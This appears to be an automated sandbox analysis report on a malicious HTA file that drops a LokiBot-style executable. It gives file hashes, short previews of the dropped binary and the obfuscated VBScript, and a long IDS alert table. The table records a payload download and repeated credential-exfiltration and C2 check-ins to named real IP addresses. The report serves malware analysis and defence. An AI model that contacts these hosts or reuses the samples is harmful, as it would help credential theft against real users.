Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbq:4
MD5:	8CB7B7F28464C3FCBAE8A10C46204572
SHA1:	767FE80969EC2E67F54CC1B6D383C76E7859E2DE
SHA-256:	ED5E3DCEB0A1D68803745084985051C1ED41E11AC611DF8600B1A471F3752E96
SHA-512:	9BA84225FDB6C0FD69AD99B69824EC5B8D2B8FD3BB4610576DB4AD79ADF381F7F82C4C9522EC89F7171907577FAF1B4E70B82364F516CF8BBFED99D2ADEA43AF
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\wininit.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	600576
Entropy (8bit):	7.913749036393697
Encrypted:	false
SSDEEP:	12288:VrOj+Ri3AgFdZeDZskwkzA0+7xUNq4KC73vUECPnsSnR83PdB0:xQ3AgSskwZNeEqdCPssS3F
MD5:	66B03D1AFF27D81E62B53FC108806211
SHA1:	2557EC8B32D0B42CAC9CABDE199D31C5D4E40041
SHA-256:	59586E753C54629F428A6B880F6AFF09F67AF0ACE76823AF3627DDA2281532E4
SHA-512:	9F8EF3DD8C482DEBB535B1E7C9155E4AB33A04F8C4F31ADE9E70ADBD5598362033785438D5D60C536A801E134E09FCD1BC80FC7AED2D167AF7F531A81F12E43D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....:=g..............0...... .......&... ...@....@.. ....................................`..................................&..O....@..\|....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc...\|....@......................@..@.reloc.......`.......(..............@..B.................&......H........6...(...........^................................................(......}.....{....r...p .....o5....{....o7...&....0...........{......o9.....}........&.......................0..t........o.....{.....{....r...p(....o:.......+%.....{.....o....o;.....o......&....X....i2..{.....o<.......&.{....o=..............+..E..........\b......2.{....oA...n.(......}......}.....(....*....0...........{....o......3...%..;.o......{....o.....s......{.......o....,ir5..p..o......+...(...

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (23388), with CRLF line terminators
Entropy (8bit):	1.6848932886813717
TrID:	HyperText Markup Language (15015/1) 100.00%
File name:	goodtoseeuthatgreatthingswithentirethingsgreatfor.hta
File size:	23'556 bytes
MD5:	ec0d423a3f72d69975a1e31a275f5377
SHA1:	213922fb8456ecaadc24889afec1ac6ef5010c68
SHA256:	9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac
SHA512:	8132f567abfd4e3489204d1f3a9fc8292457ce10495345cd0ccfa8074233411c8305c4d73078a7dee02b086fbc22b8ad7047dd4bc127de337d0800771edf53ad
SSDEEP:	96:C2vy2KJTuvPTTwduJZA6/3P42e2+ip2k+:TLwuv6QP5f+F3
TLSH:	BFB2758F0E61BC09EB9238FBD1CC80D6909C5FB9C1952A6571EC1AC5078253D5CE11DF
File Content Preview:	<!DOCTYPE html>..<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >..<html>..<body>..<ScRipT LANGuagE="vBscRIpT">..DIm...............................................................................................................................

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T10:57:05.601815+0100	2022050	ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1	1	66.63.187.231	80	192.168.2.4	49730	TCP
2024-11-20T10:57:05.742219+0100	2022051	ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2	1	66.63.187.231	80	192.168.2.4	49730	TCP
2024-11-20T10:57:12.808002+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49734	94.156.177.41	80	TCP
2024-11-20T10:57:12.808002+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49734	94.156.177.41	80	TCP
2024-11-20T10:57:12.808002+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49734	94.156.177.41	80	TCP
2024-11-20T10:57:13.563784+0100	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.4	49734	94.156.177.41	80	TCP
2024-11-20T10:57:13.757343+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49735	94.156.177.41	80	TCP
2024-11-20T10:57:13.757343+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49735	94.156.177.41	80	TCP
2024-11-20T10:57:13.757343+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49735	94.156.177.41	80	TCP
2024-11-20T10:57:14.904339+0100	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.4	49735	94.156.177.41	80	TCP
2024-11-20T10:57:15.026901+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49737	94.156.177.41	80	TCP
2024-11-20T10:57:15.026901+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49737	94.156.177.41	80	TCP
2024-11-20T10:57:15.026901+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49737	94.156.177.41	80	TCP
2024-11-20T10:57:15.973269+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49737	94.156.177.41	80	TCP
2024-11-20T10:57:15.973269+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49737	94.156.177.41	80	TCP
2024-11-20T10:57:15.987856+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49737	TCP
2024-11-20T10:57:16.128443+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49739	94.156.177.41	80	TCP
2024-11-20T10:57:16.128443+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49739	94.156.177.41	80	TCP
2024-11-20T10:57:16.128443+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49739	94.156.177.41	80	TCP
2024-11-20T10:57:16.996278+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49739	94.156.177.41	80	TCP
2024-11-20T10:57:16.996278+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49739	94.156.177.41	80	TCP
2024-11-20T10:57:17.006051+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49739	TCP
2024-11-20T10:57:17.172162+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49740	94.156.177.41	80	TCP
2024-11-20T10:57:17.172162+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49740	94.156.177.41	80	TCP
2024-11-20T10:57:17.172162+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49740	94.156.177.41	80	TCP
2024-11-20T10:57:17.928297+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49740	94.156.177.41	80	TCP
2024-11-20T10:57:17.928297+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49740	94.156.177.41	80	TCP
2024-11-20T10:57:17.936080+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49740	TCP
2024-11-20T10:57:18.095135+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49742	94.156.177.41	80	TCP
2024-11-20T10:57:18.095135+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49742	94.156.177.41	80	TCP
2024-11-20T10:57:18.095135+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49742	94.156.177.41	80	TCP
2024-11-20T10:57:18.827777+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49742	94.156.177.41	80	TCP
2024-11-20T10:57:18.827777+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49742	94.156.177.41	80	TCP
2024-11-20T10:57:18.832714+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49742	TCP
2024-11-20T10:57:19.188469+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49746	94.156.177.41	80	TCP
2024-11-20T10:57:19.188469+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49746	94.156.177.41	80	TCP
2024-11-20T10:57:19.188469+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49746	94.156.177.41	80	TCP
2024-11-20T10:57:19.860877+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49746	94.156.177.41	80	TCP
2024-11-20T10:57:19.860877+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49746	94.156.177.41	80	TCP
2024-11-20T10:57:19.868969+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49746	TCP
2024-11-20T10:57:20.015773+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49748	94.156.177.41	80	TCP
2024-11-20T10:57:20.015773+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49748	94.156.177.41	80	TCP
2024-11-20T10:57:20.015773+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49748	94.156.177.41	80	TCP
2024-11-20T10:57:20.941871+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49748	94.156.177.41	80	TCP
2024-11-20T10:57:20.941871+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49748	94.156.177.41	80	TCP
2024-11-20T10:57:20.949030+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49748	TCP
2024-11-20T10:57:21.098851+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49750	94.156.177.41	80	TCP
2024-11-20T10:57:21.098851+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49750	94.156.177.41	80	TCP
2024-11-20T10:57:21.098851+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49750	94.156.177.41	80	TCP
2024-11-20T10:57:21.966321+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49750	94.156.177.41	80	TCP
2024-11-20T10:57:21.966321+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49750	94.156.177.41	80	TCP
2024-11-20T10:57:21.975270+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49750	TCP
2024-11-20T10:57:22.128961+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49751	94.156.177.41	80	TCP
2024-11-20T10:57:22.128961+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49751	94.156.177.41	80	TCP
2024-11-20T10:57:22.128961+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49751	94.156.177.41	80	TCP
2024-11-20T10:57:22.899768+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49751	94.156.177.41	80	TCP
2024-11-20T10:57:22.899768+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49751	94.156.177.41	80	TCP
2024-11-20T10:57:22.904758+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49751	TCP
2024-11-20T10:57:23.051375+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49752	94.156.177.41	80	TCP
2024-11-20T10:57:23.051375+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49752	94.156.177.41	80	TCP
2024-11-20T10:57:23.051375+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49752	94.156.177.41	80	TCP
2024-11-20T10:57:23.803116+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49752	94.156.177.41	80	TCP
2024-11-20T10:57:23.803116+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49752	94.156.177.41	80	TCP
2024-11-20T10:57:23.808026+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49752	TCP
2024-11-20T10:57:23.952106+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49753	94.156.177.41	80	TCP
2024-11-20T10:57:23.952106+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49753	94.156.177.41	80	TCP
2024-11-20T10:57:23.952106+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49753	94.156.177.41	80	TCP
2024-11-20T10:57:24.685646+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49753	94.156.177.41	80	TCP
2024-11-20T10:57:24.685646+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49753	94.156.177.41	80	TCP
2024-11-20T10:57:24.690524+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49753	TCP
2024-11-20T10:57:24.855713+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49754	94.156.177.41	80	TCP
2024-11-20T10:57:24.855713+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49754	94.156.177.41	80	TCP
2024-11-20T10:57:24.855713+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49754	94.156.177.41	80	TCP
2024-11-20T10:57:25.787244+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49754	94.156.177.41	80	TCP
2024-11-20T10:57:25.787244+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49754	94.156.177.41	80	TCP
2024-11-20T10:57:25.795228+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49754	TCP
2024-11-20T10:57:25.934109+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49755	94.156.177.41	80	TCP
2024-11-20T10:57:25.934109+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49755	94.156.177.41	80	TCP
2024-11-20T10:57:25.934109+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49755	94.156.177.41	80	TCP
2024-11-20T10:57:26.822818+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49755	94.156.177.41	80	TCP
2024-11-20T10:57:26.822818+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49755	94.156.177.41	80	TCP
2024-11-20T10:57:26.827906+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49755	TCP
2024-11-20T10:57:26.983156+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49756	94.156.177.41	80	TCP
2024-11-20T10:57:26.983156+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49756	94.156.177.41	80	TCP
2024-11-20T10:57:26.983156+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49756	94.156.177.41	80	TCP
2024-11-20T10:57:27.739805+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49756	94.156.177.41	80	TCP
2024-11-20T10:57:27.739805+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49756	94.156.177.41	80	TCP
2024-11-20T10:57:27.744857+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49756	TCP
2024-11-20T10:57:27.893409+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49757	94.156.177.41	80	TCP
2024-11-20T10:57:27.893409+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49757	94.156.177.41	80	TCP
2024-11-20T10:57:27.893409+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49757	94.156.177.41	80	TCP
2024-11-20T10:57:28.632253+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49757	94.156.177.41	80	TCP
2024-11-20T10:57:28.632253+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49757	94.156.177.41	80	TCP
2024-11-20T10:57:28.642340+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49757	TCP
2024-11-20T10:57:28.799350+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49758	94.156.177.41	80	TCP
2024-11-20T10:57:28.799350+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49758	94.156.177.41	80	TCP
2024-11-20T10:57:28.799350+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49758	94.156.177.41	80	TCP
2024-11-20T10:57:29.544680+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49758	94.156.177.41	80	TCP
2024-11-20T10:57:29.544680+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49758	94.156.177.41	80	TCP
2024-11-20T10:57:29.549556+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49758	TCP
2024-11-20T10:57:29.726326+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49759	94.156.177.41	80	TCP
2024-11-20T10:57:29.726326+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49759	94.156.177.41	80	TCP
2024-11-20T10:57:29.726326+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49759	94.156.177.41	80	TCP
2024-11-20T10:57:30.509633+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49759	94.156.177.41	80	TCP
2024-11-20T10:57:30.509633+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49759	94.156.177.41	80	TCP
2024-11-20T10:57:30.514533+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49759	TCP
2024-11-20T10:57:30.667112+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49760	94.156.177.41	80	TCP
2024-11-20T10:57:30.667112+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49760	94.156.177.41	80	TCP
2024-11-20T10:57:30.667112+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49760	94.156.177.41	80	TCP
2024-11-20T10:57:31.416743+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49760	94.156.177.41	80	TCP
2024-11-20T10:57:31.416743+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49760	94.156.177.41	80	TCP
2024-11-20T10:57:31.425324+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49760	TCP
2024-11-20T10:57:31.597321+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49761	94.156.177.41	80	TCP
2024-11-20T10:57:31.597321+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49761	94.156.177.41	80	TCP
2024-11-20T10:57:31.597321+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49761	94.156.177.41	80	TCP
2024-11-20T10:57:32.379994+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49761	94.156.177.41	80	TCP
2024-11-20T10:57:32.379994+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49761	94.156.177.41	80	TCP
2024-11-20T10:57:32.385510+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49761	TCP
2024-11-20T10:57:32.534728+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49762	94.156.177.41	80	TCP
2024-11-20T10:57:32.534728+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49762	94.156.177.41	80	TCP
2024-11-20T10:57:32.534728+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49762	94.156.177.41	80	TCP
2024-11-20T10:57:33.635907+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49762	94.156.177.41	80	TCP
2024-11-20T10:57:33.635907+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49762	94.156.177.41	80	TCP
2024-11-20T10:57:33.640881+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49762	TCP
2024-11-20T10:57:33.800604+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	49763	94.156.177.41	80	TCP
2024-11-20T10:57:33.800604+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	49763	94.156.177.41	80	TCP
2024-11-20T10:57:33.800604+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	49763	94.156.177.41	80	TCP
2024-11-20T10:57:34.562494+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	49763	94.156.177.41	80	TCP
2024-11-20T10:57:34.562494+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	49763	94.156.177.41	80	TCP
2024-11-20T10:57:34.567581+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	49763	TCP
2024-11-20T10:57:34.722224+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58489	94.156.177.41	80	TCP
2024-11-20T10:57:34.722224+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58489	94.156.177.41	80	TCP
2024-11-20T10:57:34.722224+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58489	94.156.177.41	80	TCP
2024-11-20T10:57:35.466504+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58489	94.156.177.41	80	TCP
2024-11-20T10:57:35.466504+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58489	94.156.177.41	80	TCP
2024-11-20T10:57:35.471497+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58489	TCP
2024-11-20T10:57:35.630460+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58491	94.156.177.41	80	TCP
2024-11-20T10:57:35.630460+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58491	94.156.177.41	80	TCP
2024-11-20T10:57:35.630460+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58491	94.156.177.41	80	TCP
2024-11-20T10:57:36.395872+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58491	94.156.177.41	80	TCP
2024-11-20T10:57:36.395872+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58491	94.156.177.41	80	TCP
2024-11-20T10:57:36.400812+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58491	TCP
2024-11-20T10:57:36.546091+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58492	94.156.177.41	80	TCP
2024-11-20T10:57:36.546091+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58492	94.156.177.41	80	TCP
2024-11-20T10:57:36.546091+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58492	94.156.177.41	80	TCP
2024-11-20T10:57:37.284752+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58492	94.156.177.41	80	TCP
2024-11-20T10:57:37.284752+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58492	94.156.177.41	80	TCP
2024-11-20T10:57:37.289801+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58492	TCP
2024-11-20T10:57:37.558372+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58493	94.156.177.41	80	TCP
2024-11-20T10:57:37.558372+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58493	94.156.177.41	80	TCP
2024-11-20T10:57:37.558372+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58493	94.156.177.41	80	TCP
2024-11-20T10:57:38.278254+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58493	94.156.177.41	80	TCP
2024-11-20T10:57:38.278254+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58493	94.156.177.41	80	TCP
2024-11-20T10:57:38.284188+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58493	TCP
2024-11-20T10:57:38.444140+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58495	94.156.177.41	80	TCP
2024-11-20T10:57:38.444140+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58495	94.156.177.41	80	TCP
2024-11-20T10:57:38.444140+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58495	94.156.177.41	80	TCP
2024-11-20T10:57:39.182621+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58495	94.156.177.41	80	TCP
2024-11-20T10:57:39.182621+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58495	94.156.177.41	80	TCP
2024-11-20T10:57:39.187672+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58495	TCP
2024-11-20T10:57:39.350219+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58497	94.156.177.41	80	TCP
2024-11-20T10:57:39.350219+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58497	94.156.177.41	80	TCP
2024-11-20T10:57:39.350219+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58497	94.156.177.41	80	TCP
2024-11-20T10:57:40.084264+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58497	94.156.177.41	80	TCP
2024-11-20T10:57:40.084264+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58497	94.156.177.41	80	TCP
2024-11-20T10:57:40.133545+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58497	TCP
2024-11-20T10:57:40.390682+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58498	94.156.177.41	80	TCP
2024-11-20T10:57:40.390682+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58498	94.156.177.41	80	TCP
2024-11-20T10:57:40.390682+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58498	94.156.177.41	80	TCP
2024-11-20T10:57:41.132330+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58498	94.156.177.41	80	TCP
2024-11-20T10:57:41.132330+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58498	94.156.177.41	80	TCP
2024-11-20T10:57:41.142696+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58498	TCP
2024-11-20T10:57:41.280822+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58499	94.156.177.41	80	TCP
2024-11-20T10:57:41.280822+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58499	94.156.177.41	80	TCP
